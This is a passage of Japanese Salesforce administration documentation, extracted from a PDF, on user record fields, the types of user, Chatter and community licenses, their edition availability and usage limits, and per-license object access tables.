[Salesforce CRM Content ユーザ] ライセンスは
必要ありません。[ポータルのコンテンツの参照]ユー
ザ権限のみが必要です。

組織内でのユーザのロールを指定する管理項目。「西
部サポートマネージャ」などがあります。ロールは、

ロール

選択可能なロールの選択リストから選択したもので、
システム管理者はこれを変更できます。
Personal Edition、Contact Manager Edition、Group Edition で
は利用できません。

ユーザが Salesforce CRM Content を使用できるかどうか
を示します。Professional Edition、Enterprise Edition、

Salesforce CRM Content ユーザ

509

ユーザの表示および管理Salesforce 組織の設定および管理



説明項目

Unlimited Edition、および Performance Edition で使用でき
ます。

サポートされるモバイル Web ブラウザからユーザが
Salesforce にログインするときに、Salesforce1 モバイル

Salesforce1 ユーザ

ブラウザアプリケーションへの自動リダイレクトを有
効にします。組織で Salesforce1 モバイルブラウザアプ
リケーションオプションが有効になっている必要があ
ります。

有効化されている場合は、ユーザがカスタマーポータ
ルへのセルフ登録によって作成されたことを指定しま

カスタマーポータルのセルフ登録

す。Enterprise Edition、Unlimited Edition、およびPerformance

Edition で使用できます。

ユーザは、認証の第 2 要素として U2F セキュリティ
キーを登録して使用できます。[登録]オプションがあ

セキュリティキー (U2F)

るということは、Salesforceシステム管理者が、セキュ
リティキーを登録するオプションを組織のユーザに与
えたということです。[削除]オプションがあるという
ことは、ユーザがセキュリティキーを登録しており、
必要に応じて登録を削除できるということです。

割り当てられたガバナ制限の 50% を超えるApexをユー
ザが実行するたびに、ユーザがメール通知を受信する
ことを指定します。
Developer Edition、Enterprise Edition、Unlimited Edition、お
よび Performance Edition のみで使用できます。

Apex 警告メールの送信

Visualforce ページの開発モードフッターで [ビュース
テート] タブを有効にします。
この項目は、Visualforce が有効で、[開発モード] が選
択されている組織にのみ表示されます。

開発モードでビューステートを表示

そのユーザに、Site.com Contributor ライセンスを 1 つ割
り当てて、Site.com Studioへのユーザ制限アクセスを許

Site.com Contributor ユーザ

可します。Contributor ライセンスを持つユーザは、
Site.com Studioを使用してサイトのコンテンツのみを編
集できます。
このチェックボックスがオンになっているユーザレ
コード数は、組織が持つSite.com Contributor ライセンス
の合計数を超えることはできません。
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組織で Site.com が有効化されている場合にのみ、
Developer Edition、Enterprise Edition、Unlimited Edition、お
よび Performance Edition で使用できます。

そのユーザに、Site.com Publisher ライセンスを 1 つ割り
当てて、Site.com Studioへのユーザフルアクセスを許可

Site.com Publisher ユーザ

します。Publisher ライセンスを持つユーザは、Web サ
イトを作成してスタイルを設定し、ページやページ要
素のレイアウトと機能を制御し、コンテンツを追加し
て編集できます。
このチェックボックスがオンになっているユーザレ
コード数は、組織が持つ Site.com Publisher ライセンス
の合計数を超えることはできません。
組織で Site.com が有効化されている場合にのみ、
Developer Edition、Enterprise Edition、Unlimited Edition、お
よび Performance Edition で使用できます。

一般にユーザが仕事を開始する時間。ユーザのカレン
ダーに表示する時間帯の定義に使用されます。

始業時間

ユーザの住所の都道府県部分。エントリは標準値の選
択リストから選択するか、テキストとして入力しま

都道府県

す。テキスト項目の場合、最大 80 文字まで入力でき
ます。

ユーザ編集ページに表示されるユーザの名前サフィッ
クス。この項目は最大 40 文字まで入力できます。

サフィックス

メモ: この項目を有効化するには、Salesforceカス
タマーサポートにお問い合わせください。次に、
[設定] から、[クイック検索] ボックスに「ユー
ザインターフェース」と入力し、[ユーザインター
フェース] を選択します。その後で、[個人名の
名前サフィックスを有効化] を選択します。

ユーザは、通常 2 要素認証に使用しているデバイスを
紛失したときに仮のコードを入力できます。Salesforce

仮の確認コード

システム管理者のみがユーザのための仮のコードを生
成したり期限切れにしたりできます。ユーザは自分の
コードを期限切れにすることができます。

ユーザが勤務する主たるタイムゾーン。タイムゾーン (Time Zone)

ユーザの役職。この項目は最大 80 文字まで入力でき
ます。

役職
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ユーザが使用しているディスク容量。使用ディスク量

ユーザライセンスの種類。ユーザライセンス

ユーザのログインを定義する管理項目。この項目は最
大 80 文字まで入力できます。

ユーザ名

ユーザの住所の郵便番号部分。この項目は最大 20 文
字まで入力できます。

郵便番号

関連トピック:

ユーザの表示および管理
ユーザライセンス
組織の機能ライセンスの参照
ユーザメールドメインの制限

ライセンスの概要
エディション

使用可能なエディション:
Salesforce Classic

エディション要件は、
ユーザ、権限セット、機
能ライセンスの種類に
よって異なります。

ユーザに対して特定のSalesforce機能を有効にするには、ユーザごとに 1 つのユー
ザライセンスを選択する必要があります。追加の機能を有効にするには、権限
セットライセンスと機能ライセンスをユーザに割り当てるか、組織で使用量ベー
スのエンタイトルメントを購入します。
Salesforce の特定の機能には、特定の権限が必要です。たとえば、ユーザがケー
スを参照するには、ケースに対する「参照」権限が必要です。ただし、選択し
たすべてのユーザに権限を割り当てることができるわけではありません。権限
で有効化される機能のように、各権限には独自の要件があります。特定の権限
をユーザに割り当てるには、ユーザのライセンスで権限がサポートされている
必要があります。1 つの権限は、複数のライセンスでサポートできます。
権限を錠と考え、ライセンスを一連の鍵と考えてみましょう。ユーザに特定の権限を割り当てる前に、その権
限の錠をあける鍵が含まれたライセンスが必要です。すべてのユーザにはユーザライセンスが 1 つだけ必要で
すが、複数の権限セットライセンスまたは機能ライセンスを割り当てて、複数の権限の錠を段階的に解除する
ことができます。
前述の例では、Salesforce ユーザライセンスに、ケースに対する「参照」権限の錠を解除する鍵は含まれます
が、Force.com (App Subscription ユーザライセンス) には含まれません。その権限を Force.com (App Subscription ユー
ザ) に割り当てようとすると、エラーメッセージが表示されます。ただし、Force.com (App Subscription ユーザ) に
Force.com 権限セットの Company Community ライセンスも割り当てられている場合は、ケースに対する「参照」
権限をそのユーザに割り当てることができます。
Salesforce には、次の種類のライセンスおよび使用量ベースのエンタイトルメントが用意されています。
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ユーザライセンス
ユーザライセンスによって、ユーザがアクセスできる機能の基準が決まります。各ユーザにユーザライセ
ンスが 1 つだけ必要です。プロファイルと、必要に応じて 1 つ以上の権限セットを使用して、データアク
セス用のユーザ権限を割り当てます。
権限セットライセンス
権限セットは、さまざまなツールや機能を使用するための特定の設定や権限をユーザに割り当てる便利な
方法です。権限セットライセンスは、ユーザライセンスに含まれていない機能へのアクセス権をユーザに
部分的に付与します。ユーザには、権限セットライセンスをいくつでも割り当てることができます。
機能ライセンスの概要
機能ライセンスでは、Marketing や Work.com など、ユーザライセンスに含まれていない追加機能へのアクセ
ス権がユーザに付与されます。ユーザには、機能ライセンスをいくつでも割り当てることができます。
使用量ベースのエンタイトルメント
使用量ベースのエンタイトルメントは、パートナーコミュニティへの月ごとに許可されるログイン数や
Data.com リストユーザのレコード制限など、組織が定期的に使用できる制限付きリソースです。

ユーザライセンス

エディション

使用可能なエディション:
Salesforce Classic

エディション要件は、
ユーザライセンスの種類
によって異なります。

ユーザライセンスによって、ユーザがアクセスできる機能の基準が決まります。
各ユーザにユーザライセンスが 1 つだけ必要です。プロファイルと、必要に応
じて 1 つ以上の権限セットを使用して、データアクセス用のユーザ権限を割り
当てます。

例:

• Force.comユーザライセンスを従業員 A に割り当てます。Force.comユーザ
ライセンスでは、取引先と取引先責任者の標準オブジェクト権限のみが
サポートされるため、従業員 A はケースにアクセスできません。

• Salesforce ユーザライセンスを従業員 B に割り当てます。ケースに対する
「参照」アクセス権を従業員 B に付与します。

Salesforce には次のライセンスの種類があります。
• 標準ユーザライセンス
• Chatter ユーザライセンス
• コミュニティユーザライセンス
• Service Cloud ポータルユーザライセンス
• サイトおよび Site.com ユーザライセンス
• 認証 Web サイトユーザライセンス

メモ: 会社がその他の種類の機能に対するカスタムユーザライセンスを購入している場合、その他のライ
センスの種類が表示されます。また、Salesforce組織に、引き続きサポート対象でありながら、現在は購入
できない他のライセンスがある可能性もあります。詳細は、Salesforce にお問い合わせください。

次のライセンスの種類は、カスタマーポータルまたはパートナーポータルを現在使用している組織でのみ使用
できます。
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• カスタマーポータルユーザライセンス
• カスタマーポータル — エンタープライズ管理ユーザライセンス
• パートナーポータルユーザライセンス
カスタマーポータルまたはパートナーポータルがない場合に顧客またはパートナーと情報を共有するには、
「コミュニティユーザライセンス」 (ページ 522)を参照してください。

組織のユーザライセンスの参照
組織が購入したユーザライセンスを参照して、ユーザに割り当てることができるものを確認します。
標準ユーザライセンス
Salesforce ユーザライセンスおよび Force.com ユーザライセンスの種類など、組織で取得できる標準ユーザラ
イセンスに関する情報を検索します。
Chatter ユーザライセンス
すべての標準 Salesforce ライセンスでは、組織の全員が Chatter に無料でアクセスできます。Salesforce ではま
た、Chatter External、Chatter Free、および Chatter Only (Chatter Plus ともいう) という Chatter 固有のライセンスも提
供しています。
コミュニティユーザライセンス
外部ユーザの場合、カスタマーコミュニティ、カスタマーコミュニティプラス、およびパートナーコミュ
ニティという 3 つのコミュニティライセンスかあります。従業員コミュニティ向けの従業員アプリケーショ
ンおよびコミュニティライセンスもあります。
Database.com ユーザライセンス
Service Cloud ポータルユーザライセンス
サイトおよび Site.com ユーザライセンス
サイトユーザおよび Site.com ユーザには、ゲストユーザまたは Site.com のみユーザライセンスが有効です。
認証 Web サイトユーザライセンス
Platform ポータルユーザには、Force.comサイトで使用するための認証 Web サイトライセンスがあります。こ
のライセンスでは、指定のサイトユーザに、プラットフォームポータルへの無制限のログインを許可して、
カスタマーサポート情報にアクセスできるようにします。
カスタマーポータルユーザライセンス
カスタマーポータルサイトのユーザにはカスタマーポータルマネージャの標準ライセンスがあります。
カスタマーポータル — エンタープライズ管理ユーザライセンス
カスタマーポータル — エンタープライズ管理ユーザには、カスタマーポータルマネージャカスタムライセ
ンスがあります。このライセンスでは、Salesforce カスタマーポータルへの無制限のログインを取引先責任
者に許可して、カスタマーサポート情報を管理できるようにします。
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パートナーポータルユーザライセンス
パートナーポータルユーザには、Gold Partner ユーザライセンスがあります。これらのライセンスでは、パー
トナーポータルを使って、Salesforce のみにアクセスできます。

関連トピック:

ユーザの表示および管理
Salesforce での会社の設定

組織のユーザライセンスの参照

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

ユーザライセンスを参照
する
• 「設定・定義を参照す

る」

組織が購入したユーザライセンスを参照して、ユーザに割り当てることができ
るものを確認します。
1. [設定] から、[クイック検索] ボックスに「組織情報」と入力し、[組織情報]

を選択します。
2. [ユーザライセンス] 関連リストを参照してください。

標準ユーザライセンス

エディション

使用可能なエディション:
Salesforce Classic

エディション要件は、
ユーザライセンスの種類
によって異なります。

Salesforce ユーザライセンスおよび Force.com ユーザライセンスの種類など、組織
で取得できる標準ユーザライセンスに関する情報を検索します。

使用可能なエディ
ション

説明ライセンスの
種類

すべてのエディ
ション

標準 CRM とForce.com AppExchangeアプリケー
ションへのフルアクセスを必要とするユー
ザ向けです。ユーザライセンスを所有する
ユーザは、すべての標準またはカスタムア
プリケーションにアクセスできます。
Enterprise Edition、Unlimited Edition、および
Performance Edition のユーザには、ライセン
スごとに追加ストレージを提供します。

Salesforce

Enterprise Edition、
Unlimited Edition、

Salesforce ナレッジアプリケーションのみへ
のアクセスを必要とするユーザ向けです。

Knowledge
Only User

および
Performance Edition

このライセンスは、カスタムオブジェク
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使用可能なエディション説明ライセンスの種類

ト、カスタムタブ、および次の標準タブへのアクセス権を
提供します。
• 記事
• 記事の管理
• Chatter

• ファイル
• ホーム
• プロファイル
• レポート
• カスタムオブジェクト
• カスタムタブ
Knowledge Only User ライセンスには、ナレッジ限定プロファ
イルが含まれ、[記事] タブへのアクセス権を付与します。[記
事の管理] タブを表示および使用するには、ユーザに「記事
の管理」権限が必要です。

メモ: 記事を表示するには、ユーザのプロファイルに
「ナレッジの参照を許可」権限が必要です。ただし、
この権限はデフォルトプロファイルでオフになってい
ます。ユーザのプロファイルに「ナレッジの参照を許
可」権限を付与するには、コピーしたプロファイルで
この権限を有効にして、このコピーしたプロファイル
をユーザに割り当てます。

Enterprise Edition、
Unlimited Edition、

ユーザにSalesforce Identity 機能へのアクセス権を付与します。
Salesforce Identity は、Salesforceユーザを外部のアプリケーショ

ID

Performance Edition、およ
び Developer Edition

Developer Edition を使用す
る新規の各組織には、10

ンやサービスと結び付けると同時に、システム管理者がこ
れらのユーザの認証や承認を制御できるようにします。
詳細は、『Salesforce Identity 実装ガイド』を参照してください。

個の無償の Identity ユーザ
ライセンスが含まれま
す。

Enterprise Edition、
Unlimited Edition、

組織のユーザベース外のユーザ (非従業員など) の Identity 機
能を提供します。これらのユーザの保存および管理、認証

外部 ID

Performance Edition、およ
び Developer Edition

Developer Edition を使用す
る新規の各組織には、5

方法 (ユーザ名とパスワード、シングルサインオン、
Facebook、Google+、LinkedIn などからのソーシャルサインオ
ン) の選択、セルフ登録の許可を行います。

個の無償の External Identity

516

ライセンスの概要Salesforce 組織の設定および管理

https://resources.docs.salesforce.com/206/latest/ja-jp/sfdc/pdf/salesforce_identity_implementation_guide.pdf


使用可能なエディション説明ライセンスの種類

ユーザライセンスが含ま
れます。

Professional Edition、
Enterprise Edition、

Salesforceライセンスは所有していないが、Work.comにアクセ
スする必要があるユーザ向けです。

Work.com 限定ユー
ザ

Unlimited Edition、
メモ: Work.com を完全に機能させるには、Chatter を有
効にする必要があります。

Performance Edition、およ
び Developer Edition

Force.com ユーザライセンスの種類

使用可能なエディション説明ライセンスの種類

Enterprise Edition、
Unlimited Edition、

標準的な CRM 機能ではなく、カスタムアプリケーションへ
のアクセスを必要とするユーザ向けです。このユーザライ

Salesforce
Platform

Performance Edition、およ
び Developer Edition

センスを所有するユーザは、自分の組織で開発されたカス
タムアプリケーション、または Force.com AppExchange からイ
ンストールしたカスタムアプリケーションを使用できます。
また、取引先、取引先責任者、レポート、ダッシュボード、
ドキュメント、カスタムタブなど、中核的なプラットフォー
ム機能も使用できます。ただし、売上予測や商談などの標
準タブやオブジェクトを含む一部のユーザ権限と標準アプ
リケーションが使用できません。このライセンスを持つユー
ザは、Connect Offline も使用できます。

メモ: このライセンスを持つユーザは、実行中のユー
ザに同じライセンスがある場合、ダッシュボードの表
示のみを行えます。

Salesforce Platform ユーザライセンスを所有するユーザは、組
織内のすべてのカスタムアプリケーションにアクセスでき
ます。
Enterprise Edition、Unlimited Edition、および Performance Edition の
ユーザには、ライセンスごとに追加ストレージを提供しま
す。

メモ: 記事を表示するには、ユーザのプロファイルに
「ナレッジの参照を許可」権限が必要です。ただし、
この権限はデフォルトプロファイルでオフになってい
ます。ユーザのプロファイルに「ナレッジの参照を許
可」権限を付与するには、コピーしたプロファイルで
この権限を有効にして、このコピーしたプロファイル
をユーザに割り当てます。
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使用可能なエディション説明ライセンスの種類

Enterprise Edition および
Unlimited Edition

Force.com - One
App メモ: 新しい顧客はこのライセンスを使用できません。

標準的な CRM 機能ではなく、1 つのカスタムアプリケーショ
ンへのアクセスを必要とするユーザ向けです。Force.com - One

Appユーザには、Salesforce Platformユーザと同じ権限が割り当
てられ、さらに、カスタムタブに制限なくアクセスできま
す。ただし、カスタムアプリケーションの使用は 1 つに制限
され (最大 10 個のカスタムオブジェクトとして定義)、取引
先オブジェクトおよび取引先責任者オブジェクトに対する
「参照のみ」アクセスに限られます。

メモ: このライセンスを持つユーザは、実行中のユー
ザに同じライセンスがある場合、ダッシュボードの表
示のみを行えます。

Salesforce のエディションに関係なく、ライセンスごとに 20

MB のデータストレージと 100 MB のファイルストレージが追
加提供されます。

メモ: 記事を表示するには、ユーザのプロファイルに
「ナレッジの参照を許可」権限が必要です。ただし、
この権限はデフォルトプロファイルでオフになってい
ます。ユーザのプロファイルに「ナレッジの参照を許
可」権限を付与するには、コピーしたプロファイルで
この権限を有効にして、このコピーしたプロファイル
をユーザに割り当てます。

Enterprise Edition、
Unlimited Edition、および
Performance Edition

Force.com Light App または Force.com Enterprise App へのアクセス
権をユーザに付与します。いずれも CRM 機能には含まれて
いません。
Force.com Light App には、最大で 10 個のカスタムオブジェク
トと 10 個のカスタムタブおよび取引先と取引先責任者への

Force.com App
Subscription

「参照のみ」アクセス権が用意されています。また、オブ
ジェクトレベルおよび項目レベルのセキュリティがサポー
トされています。Force.com Light Appでは、Bulk APIまたはスト
リーミング API は使用できません。
Force.com Enterprise Appには、最大で 10 個のカスタムオブジェ
クトと 10 個のカスタムタブが用意されています。Force.com

Enterprise Appでは、Force.com Light Appの権限に加えて、レコー
ドレベルの共有がサポートされており、Bulk API およびスト
リーミング APIを使用できます。また、取引先および取引先
責任者への「参照・更新」アクセス権があります。
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使用可能なエディション説明ライセンスの種類

メモ: このライセンスを持つユーザは、実行中のユー
ザに同じライセンスがある場合、ダッシュボードの表
示のみを行えます。

Force.com App Subscriptionライセンスごとに、Enterprise Edition の
場合はユーザあたり 20 MB のデータストレージ、Unlimited

Edition および Performance Edition の場合はユーザあたり 120 MB

のデータストレージと、エディションに関係なく 2 GB のファ
イルストレージが追加提供されます。

メモ: 記事を表示するには、ユーザのプロファイルに
「ナレッジの参照を許可」権限が必要です。ただし、
この権限はデフォルトプロファイルでオフになってい
ます。ユーザのプロファイルに「ナレッジの参照を許
可」権限を付与するには、コピーしたプロファイルで
この権限を有効にして、このコピーしたプロファイル
をユーザに割り当てます。

Enterprise Edition、
Unlimited Edition、

これは従業員コミュニティの内部ユーザライセンスです。
カスタムタブ、Salesforce Files、Chatter (人、グループ、フィー

Company

Community ユーザ
Performance Edition、およ
び Developer Edition

ド)、およびSite.comサイトを含むコミュニティにアクセスす
るユーザ向けです。
Company Community ユーザは、Salesforce ナレッジ記事への「参
照のみ」アクセス権があります。また、次の操作も実行で
きます。
• 最大で 10 個のカスタムオブジェクトと 10 個のカスタム

タブにアクセスする
• コンテンツ、アイデア、納入商品、および Identity 機能を

使用する
• 活動、ToDo、カレンダー、および行動を使用する
• 取引先、取引先責任者、ケース、ドキュメントにアクセ

スする

関連トピック:

ユーザライセンス
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Chatter ユーザライセンス

エディション

使用可能なエディション:
Salesforce Classic

Chatter External および
Chatter Free ライセンスを
使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

Chatter Only (Chatter Plus と
も呼ばれる) ライセンスを
使用可能なエディション:
Professional Edition、
Enterprise Edition、
Unlimited Edition、および
Performance Edition

すべての標準 Salesforce ライセンスでは、組織の全員が Chatter に無料でアクセス
できます。Salesforce ではまた、Chatter External、Chatter Free、および Chatter Only

(Chatter Plus ともいう) という Chatter 固有のライセンスも提供しています。

Chatter External

このライセンスは、会社のメールドメイン外のユーザ向けです。外部ユーザ (顧
客ともいう) は、顧客を許可する Chatter グループに招待されます。顧客は、招待
されたグループでのみ情報にアクセスでき、そのグループのユーザとのみ会話
できます。Chatter オブジェクトやデータにはアクセスできません。

Chatter Free

Chatter Free ライセンスは、Salesforce ライセンスを所有していないが、Chatter にア
クセスする必要があるユーザ向けです。これらのユーザは、ユーザ、プロファ
イル、グループ、およびファイルなどの Chatter の標準項目にアクセスできます
が、Salesforce オブジェクトやデータにはアクセスできません。Chatter Free ユーザ
は、Chatter モデレータになることができます。
Chatter Free ユーザには、他の Salesforce ユーザのようにタブが表示されません。
Chatter Free ユーザは、ページのサイドバーにあるリンクを使用して、フィード、
ユーザ、グループ、およびファイルにアクセスします。
Salesforce システム管理者は、Chatter Free ライセンスを標準 Salesforce ライセンスま
たは Chatter Only ライセンスにいつでもアップグレードできます。標準 Salesforce

ライセンスまたは Chatter Only ライセンスを Chatter Free ライセンスに変換することはできません。

Chatter Only (Chatter Plus)

Chatter Only ライセンスは、Chatter Plus ライセンスともいいます。このラインセンスは、Salesforce ライセンスは
所有していないが、Chatter の他に一部の Salesforce オブジェクトにアクセスする必要があるユーザ向けです。
Chatter Plus ユーザは、Chatter モデレータになることができ、Chatter の標準のユーザ、プロファイル、グループ、
およびファイルページにアクセスできます。また、次の操作も実行できます。
• Salesforce の取引先と取引先責任者を参照する
• Salesforce CRM Content、アイデア、およびアンサーを使用する
• ダッシュボードとレポートにアクセスする
• ワークフローを使用し、承認する
• カレンダーを使用して活動を作成および追跡する
• 最大 10 個のカスタムオブジェクトを表示および変更する
• レコードをグループに追加する
デフォルトで、Salesforce の標準オブジェクトのタブは Chatter Plus ユーザには非表示になっています。Chatter Plus

ユーザがこれらのタブを使用できるようにする場合は、タブを表示します。Chatter Plus ユーザについての詳細
は、「Chatter およびよくある質問 (FAQ)」を参照してください。
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Chatter ライセンスの概要
次の表に、Chatter External、Chatter Free、および Chatter Only ライセンスで使用できる機能を示します。

Chatter Only

(Chatter Plus)

Chatter FreeChatter External

(顧客が招待されたグルー
プ内の項目およびユーザ
にアクセスが制限されて
います)

機能

Chatter デスクトップクライ
アント

ダウンロード可能アプリ
ケーションのユーザは、

Salesforce1 モバイルアプリ
ケーションの使用
(ダウンロード可能アプリ
ケーションには「API の有 [グループ] または [人] リス

トビューにアクセスでき
ません。

効化」プロファイル権限
が必要)

フィード

ファイル共有
Files Connect

グループ

グループメンバーでもあ
る顧客のみが、アクセス

グループへの参加招待

権を持つグループのChatter

ユーザを招待でき、Chatter

外のユーザにアクセスで
きます。

プロファイル

トピックとハッシュタグ

非公開メッセージ

検索結果には、顧客がグ
ループ経由でアクセスで

グローバル検索

きる項目のみが含まれま
す。

521

ライセンスの概要Salesforce 組織の設定および管理



Chatter Only

(Chatter Plus)

Chatter FreeChatter External

(顧客が招待されたグルー
プ内の項目およびユーザ
にアクセスが制限されて
います)

機能

最大 10 個のカスタムオブ
ジェクト

カスタムオブジェクト

参照のみ
取引先と取引先責任者

カレンダーと行動

コンテンツライブラリ

アイデアとアンサー

レポートとダッシュボー
ド

ToDo と活動

ワークフローの使用と承
認

コミュニティユーザライセンス

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Developer Edition、および
Enterprise Edition

外部ユーザの場合、カスタマーコミュニティ、カスタマーコミュニティプラス、
およびパートナーコミュニティという 3 つのコミュニティライセンスかありま
す。従業員コミュニティ向けの従業員アプリケーションおよびコミュニティラ
イセンスもあります。

ライセンスについて
組織でコミュニティを使用するには、コミュニティライセンスが必要ですか?

はい、必要です。組織で初めてコミュニティを有効にするには、カスタマー
コミュニティ、カスタマーコミュニティプラス、パートナーコミュニティ、
従業員アプリケーションおよびコミュニティのライセンスのうち最低 1 つを
組織で購入する必要があります。

メモ: 組織に従来のポータルライセンスがある場合は、コミュニティを使用するためにコミュニティ
ライセンスを購入する必要はありません。
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コミュニティライセンスはユーザとコミュニティのどちらに関連付けられますか?

コミュニティライセンスは、特定のコミュニティではなくユーザに関連付けられます。必要に応じて、こ
れらのライセンスを持つユーザをコミュニティ間で移動できます。使用しないライセンスがある場合は、
組織の任意のコミュニティでそれをユーザに割り当てることができます。
別の考え方もできます。コミュニティは飛行機のようなものです。各旅客はさまざまな種類のチケット (ラ
イセンス) を持っており、そのためにアクセスのレベルが異なります。旅客はすべて同じ飛行機に乗ってい
ますが、各旅客が経験することは、チケットの価格に基づいて多少異なります。
コミュニティライセンスのサポートに加えて、コミュニティは既存のカスタマーポータルライセンス、認
証 Web サイトライセンス、パートナーポータルライセンスを含むすべての内部ライセンスおよびポータル
ライセンスをサポートしています。

従業員コミュニティでは、ライセンスはどのように使用されますか?

従業員アプリケーションおよびコミュニティ権限セットライセンスには、従業員アプリケーションおよび
コミュニティライセンスによって提供されるものと同じ権限が含まれます。このアドオンライセンスを使
用すると、既存の Salesforce Platform または Force.com App Subscription ライセンスを持つ従業員に従業員コミュ
ニティへのアクセス権が付与されます。
従業員アプリケーションおよびコミュニティライセンスは、[設定] の [ユーザライセンス] 関連リストには
「Company Community」と表示されます。

コミュニティライセンスと従来のポータルライセンスの違いは?

新しいコミュニティライセンスの従来のポータルライセンスとの相関関係、およびその主な使用事例につ
いて簡単に説明します。

重要: ポータルライセンスがあるユーザは、関連付けられているプロファイルや権限セットが追加さ
れて組み込まれている限り、コミュニティにアクセスできます。新しいコミュニティライセンスを購
入する必要はありません。

同等のポータルライセンス最適な用途コミュニティライセンス名

大規模カスタマーポータル、Service

Cloud ポータル、認証サイトポータル
外部ユーザが多い、企業と消費者
のコミュニティ

カスタマーコミュニティ

カスタマーポータル — エンタープラ
イズ管理

e コマースなど、サポート用で営業
以外の状況に適した企業間コミュ
ニティ

カスタマーコミュニティプラ
ス

パートナーパートナーリレーションの管理な
ど、販売データにアクセスする必
要がある企業間コミュニティ

パートナーコミュニティ

次に簡単なディシジョンツリーを示します。コミュニティのニーズに合ったライセンスの種類の選択に役
立ててください。

メモ: さまざまな種類のライセンスによってコミュニティにアクセスできます。コミュニティは、単
一の種類のライセンスに制限されません。
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月ごとのログインベースライセンスの詳細は?

次のコミュニティライセンスは、月ごとのログインベースライセンスとしても使用でき、その名前は次の
とおりです。

月ごとのログインベースライセンス名コミュニティライセンス名

カスタマーコミュニティログインライセンスカスタマーコミュニティ

カスタマーコミュニティプラスログインライセンスカスタマーコミュニティプラス

パートナーコミュニティログインライセンスパートナーコミュニティ

月ごとのログインベースライセンスを使用すると、ユーザはコミュニティにサインインするときにログイ
ンを消費します。すでにログインしているユーザは、コミュニティを切り替えてもライセンスを消費しま
せん。過剰なログイン回数は、月ごとではなく年末に計算されます。
ログインベースのコミュニティライセンスを持つユーザがSalesforce1を使用してコミュニティにアクセスす
ると、初回のログインまたはセッションのタイムアウト時にログインが消費されます。ログインベースの
ユーザがコミュニティに対して認証を行うたびにログイン数がカウントされます。Salesforce は LoginHistory

テーブルからログイン数を計算します。ログインのタイムアウト期間は、最大 12 時間に設定できます。
コミュニティビルダーを使用するのに追加ライセンスは必要ですか?

コミュニティビルダーベースのテンプレートを使用している各コミュニティでは、コミュニティビルダー
を使用して、カスタムのブランド情報入りページをコミュニティに追加できます。「コミュニティの作成
および設定」権限を持つコミュニティユーザには、コミュニティのコミュニティビルダーへのサイト管理
者のフルアクセス権が自動的に付与されます。

コミュニティにユーザ制限はありますか?

Salesforce組織では、最大100個のコミュニティを使用できます。有効なコミュニティ、無効なコミュニティ、
およびプレビューコミュニティ (Force.com サイトを含む) がこの制限に対してカウントされます。
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リリースの問題およびサービス品質の低下を回避するため、コミュニティ内のユーザ数が以下の制限を超
えないようにすることをお勧めします。この制限を超えるユーザを必要とする場合は、Salesforce のアカウ
ントエグゼクティブにお問い合わせください。コミュニティが成長していてユーザ数を増やす必要がある
場合には、ニーズを満たすために製品を拡張する方法について Salesforce のアカウント担当者にお問い合わ
せください。

ユーザ数コミュニティ種別

800,000パートナーまたはカスタマーコミュニティプラス
10,000,000カスタマー

認証されていないユーザは、コミュニティのライセンスでカウントされますか?

まったくカウントされません。認証されていないユーザやゲストユーザがコミュニティにアクセスしても、
コミュニティのライセンスは使用されません。
ゲストユーザには、Salesforce のエディションに基づいたページビュー制限があります。過剰なログイン回
数は年ごとに計算されます。コミュニティが拡大してゲストユーザページビューのこの数を超える場合は、
Salesforce の担当者に問い合わせてページビュー制限を上げてください。

ページビューの数Salesforce Edition

500,000/月Enterprise Edition

1,000,000/月Unlimited Edition

たとえば、Enterprise Edition 組織でのコミュニティ設定では、1 年間にページビューが最大で 600 万になるこ
とがあります。過剰なログイン回数は、年間制限に達した後で計算されます。ページビューおよびその他
のユーザ制限の詳細は、「コミュニティの使用制限」を参照してください。

ライセンスの詳細
次の表に、カスタマーコミュニティ、カスタマーコミュニティプラス、パートナーコミュニティ、または従業
員アプリケーションおよびコミュニティライセンスを持つデフォルトユーザプロアイルが使用できる機能を示
します。

従業員アプリケー
ションおよびコミュ

ニティ

パートナーコミュニ
ティ

カスタマーコミュニ
ティプラス

カスタマーコミュニ
ティ

Salesforce の標準オブジェクト
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従業員アプリケー
ションおよびコミュ

ニティ

パートナーコミュニ
ティ

カスタマーコミュニ
ティプラス

カスタマーコミュニ
ティ

取引先と取引先責
任者のリレーショ
ン (取引先責任者と
複数の取引先)1

参照、作成、編集、
削除、すべてのデー
タの参照、すべての

データの管理

参照、作成、編集参照、作成、編集参照、編集2

取引先

参照、作成参照、作成参照、作成
活動履歴

参照、作成、編集参照、作成、編集参照、作成、編集参照、作成、編集
納入商品

参照、作成、編集3

キャンペーン

参照、作成、編集、
削除5

参照、作成、編集参照、作成、編集参照、作成、編集
4

ケース

1 取引先と取引先責任者のリレーションを表示または作成するには、取引先と取引先責任者の「参照」権
限が必要です。取引先と取引先責任者のリレーションを編集または削除するには、取引先の「参照」権
限および取引先責任者の「編集」権限が必要です。

2 カスタマーコミュニティライセンスの場合は、共有セットを使用してアクセスを制御することもできま
す。

3 パートナーコミュニティライセンスの場合、ユーザインターフェースでキャンペーンを参照、作成、編
集するには、パートナーユーザにも「マーケティングユーザ」権限が必要です。この権限を持つパート
ナーユーザは、キャンペーンメンバーとしての取引先責任者またはリードの検索と追加、キャンペーン
のレポートへのアクセス、キャンペーンの取引先責任者およびリードへの一括メール送信と一括割り当
てを行うことができます。

4 カスタマーコミュニティライセンスの場合、他のユーザの代わりにケースを作成することはできませ
ん。

5 従業員コミュニティでは、ケースによって社内の問題と従業員の問題を追跡できますが、顧客ケースに
はこれを使用しないでください。社内従業員ユーザには、外部ケースを操作するために Service Cloud ライ
センスが必要です。
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従業員アプリケー
ションおよびコミュ

ニティ

パートナーコミュニ
ティ

カスタマーコミュニ
ティプラス

カスタマーコミュニ
ティ

参照、作成、編集、
削除、すべてのデー

参照、作成、編集参照、作成、編集参照、作成、編集
取引先責任者

タの参照、すべての
データの管理

参照、作成、編集、
削除

参照、作成、編集、
削除

参照、作成、編集、削
除

契約

参照のみ参照のみ参照のみ
ダッシュボード

参照、作成、編集、
削除、すべてのデー

参照のみ参照のみ参照のみ
ドキュメント

タの参照、すべての
データの管理

参照、作成、編集参照、作成、編集参照、作成、編集
エンタイトルメン
ト

参照、作成、編集参照、作成、編集参照、作成、編集参照、作成、編集
外部オブジェクト
(Salesforce Connect)

参照、作成、編集、
削除

参照、作成、編集
行動とカレンダー

参照、作成参照、作成参照、作成参照、作成
アイデア

